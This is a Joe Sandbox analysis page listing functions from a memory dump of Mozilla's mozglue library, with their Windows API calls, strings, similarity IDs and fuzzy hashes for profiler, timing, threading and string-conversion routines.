Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction ID: 14251ca59e7385bcc935e5c0133e369f5812919bbaf5ad3b65cf56d2c55593da
Opcode Fuzzy Hash: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction Fuzzy Hash: 1871F5B0609740DFD750DF25D484A6ABBF0FF6A308F14496EE48687B52D731E948CBA2

Function 6C979590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C963217
Part of subcall function 6C9631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C963236
Part of subcall function 6C9631C0: FreeLibrary.KERNEL32 ref: 6C96324B
Part of subcall function 6C9631C0: __Init_thread_footer.LIBCMT ref: 6C963260
Part of subcall function 6C9631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C96327F
Part of subcall function 6C9631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96328E
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632AB
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632D1
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9632E5
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

MapViewOfFileNuma2, xrefs: 6C9797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670
ntdll.dll, xrefs: 6C9796E3
NtMapViewOfSection, xrefs: 6C979701

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction ID: 2255980e80f02c6529eb37a82f2fe8dcc81a6e115dbf470b60d64625d6b52f61
Opcode Fuzzy Hash: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction Fuzzy Hash: 05610571609305DBDF10CF69E884B9A3BB5FFAEB18F21451AE91583B80D731D844CBA1

Function 6C977FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C978007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C97801D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C97802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C97803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C97808D

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C97809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9780B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9780DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C978133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C978149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C978167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C97817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C978199

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction ID: 3f8d096ea9da36fee25b497ea759c1ef8f970cf849d7a8d3b2d2d6107c961841
Opcode Fuzzy Hash: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction Fuzzy Hash: 2C5193B2E01204ABDF10DBA5DC849EFB7B9AF69224F240525E815F7741E730E904CBB5

Function 6C9C6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6694
GetThreadId.KERNEL32(?), ref: 6C9C66B1
GetCurrentThreadId.KERNEL32 ref: 6C9C66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9C66E1
EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6734
GetCurrentProcess.KERNEL32 ref: 6C9C673A
LeaveCriticalSection.KERNEL32(6C9EF618), ref: 6C9C676C
GetCurrentThread.KERNEL32 ref: 6C9C67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9C6868
RtlCaptureContext.NTDLL ref: 6C9C687F

Strings

WalkStack64, xrefs: 6C9C6890

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction ID: 9f7277f9b6d2efab59e9e0cb485affda18df69dc592b538b5569a5db08b6fcd5
Opcode Fuzzy Hash: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction Fuzzy Hash: 88518A71A09341AFDB11CF24C884A6ABBF8BF9DB14F10492DF99997640D770E918CB93

Function 6C9ADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
GetCurrentThreadId.KERNEL32 ref: 6C9ADF7D
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADF8A
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADFC9
GetCurrentThreadId.KERNEL32 ref: 6C9ADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C9ADE83
<none>, xrefs: 6C9ADFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C9AE00E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction ID: b2e432233aa7ff7654ecfa02c4ded3722ea480bd4f3e2549dcfa46f29682cee3
Opcode Fuzzy Hash: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction Fuzzy Hash: 9341D5767052119BDB109BA4E8087AA7779FFBD30CF24001AED0997B41DB32D916CBE6

Function 6C9BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD52A
GetCurrentThreadId.KERNEL32 ref: 6C9BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD55F
free.MOZGLUE(00000000), ref: 6C9BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD652
GetCurrentThreadId.KERNEL32 ref: 6C9BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD6A2

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction ID: c3521bf70c0c94e7546c3f9452d5556b8e5111a4fabb0f5b5d80f5f72a0a40b2
Opcode Fuzzy Hash: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction Fuzzy Hash: 5F517CB1608705EFC744CF24C884A9ABBB4FF99318F108A2EE95A97710DB30E945CB95

Function 6C985670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C985744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9857BC
GetTickCount64.KERNEL32 ref: 6C9858CB
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9858F3
__aulldiv.LIBCMT ref: 6C985945
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9EF638,?,?,?,?), ref: 6C9859E9

Strings

MOZ_APP_RESTART, xrefs: 6C9856CC

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction ID: 449a1b0476c262edf3ca089555b98177e46039515e7b13ac1a5f797acb962291
Opcode Fuzzy Hash: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction Fuzzy Hash: D8C17D31A0D7449FDB05CF28C44066ABBF1BFEA718F158A1EE4C597660D731E989CB82

Function 6C9AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEC8C

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AECA1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C9AECC5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AED19
CloseHandle.KERNEL32(?), ref: 6C9AED28
free.MOZGLUE(00000000), ref: 6C9AED2F
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C9AEC94

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction ID: 5e2f8ba139f362027db7b16d5f1632f917833f1c0c1bca37fb7e0fd52d427734
Opcode Fuzzy Hash: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction Fuzzy Hash: AB21FC75504204AFDB419FA4D808B9A3779FFB936CF204215FD1857741E731D8268BE5

Function 6C9A8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C96EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C9AB392,?,?,00000001), ref: 6C9A91F4

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Strings

timeline-ipc, xrefs: 6C9A9096
timeline-fileio, xrefs: 6C9A90A4
timeline-overview, xrefs: 6C9A907A
marker-chart, xrefs: 6C9A905E
data, xrefs: 6C9A90E8
name, xrefs: 6C9A8F16
stack-chart, xrefs: 6C9A90B2
marker-table, xrefs: 6C9A906C
timeline-memory, xrefs: 6C9A9088

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction ID: 1330020ea90a97ffd45ac92c3004f77723f81017e84c7f2b361751c87759220c
Opcode Fuzzy Hash: 3587db270f334bd0c9122e8662dc41922eadee169e25f3322c6553d6f581a181
Instruction Fuzzy Hash: E2B1D6B1A016099BDB04CFA5C8557EEBBB5FFA9308F214019D502ABF80D731E956CBE1

Function 6C98C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C5A3
WideCharToMultiByte.KERNEL32 ref: 6C98C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C98C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C98CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C98CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98CAA5

Strings

(null), xrefs: 6C98C596
0, xrefs: 6C98D30A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction ID: 4d3f8cc7a15a501c7e9e2f23ae72ba8ba381af41f81348bcc3c58c195457fac3
Opcode Fuzzy Hash: bd4f9a1abab8c956e2669e0b8e4dc52d9583475375fafa0ffc0005534789fd81
Instruction Fuzzy Hash: 5EA1AD3160A3429FDB00DF28C984B5ABBF5AF89748F148E2DE999D7741D735E805CB82

Function 6C98C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C98C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C98C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C98C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C98C891

Strings

NAN, xrefs: 6C98C7AD
inf, xrefs: 6C98C78F
INF, xrefs: 6C98C794
nan, xrefs: 6C98C7A8

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction ID: c7010a11a432cb8ecf2475fe7b871d1353d5c18ef2c8b2421e8c52977ba24628
Opcode Fuzzy Hash: 7eb72e2d7bc6875c961db0aba4d3dff7602a9f65ece7454d1b48b9513da6731c
Instruction Fuzzy Hash: CA5180719097808BDB00AF2CC48169AFBF4BF9A308F408E2DF9D5A7651E770D985CB42

Function 6C964480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C9A4843,?), ref: 6C9645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C9A4843,?), ref: 6C96468A
free.MOZGLUE(?,?,?,?,?,?,6C9A4843,?), ref: 6C9646C9
free.MOZGLUE(?), ref: 6C9646EF
free.MOZGLUE(?), ref: 6C964712
free.MOZGLUE(?), ref: 6C964735
free.MOZGLUE(?), ref: 6C964758
free.MOZGLUE(?), ref: 6C96477B
free.MOZGLUE(?), ref: 6C96479E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction ID: ef78ca1a2be99e36d69b1726d17566af4f7797fedd113f85631795d7642216ed
Opcode Fuzzy Hash: b6f3e0b0c45f9f0254acbc676f9d6549eb6aae1470928b922c35e8f337be6040
Instruction Fuzzy Hash: 77B1E071A001118FEB18DEAECCB076D76A6AF52328F184669E816DBFD6D730D8448F91

Function 6C9CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9CAC52
CreateFileMappingW.KERNEL32 ref: 6C9CAC7D
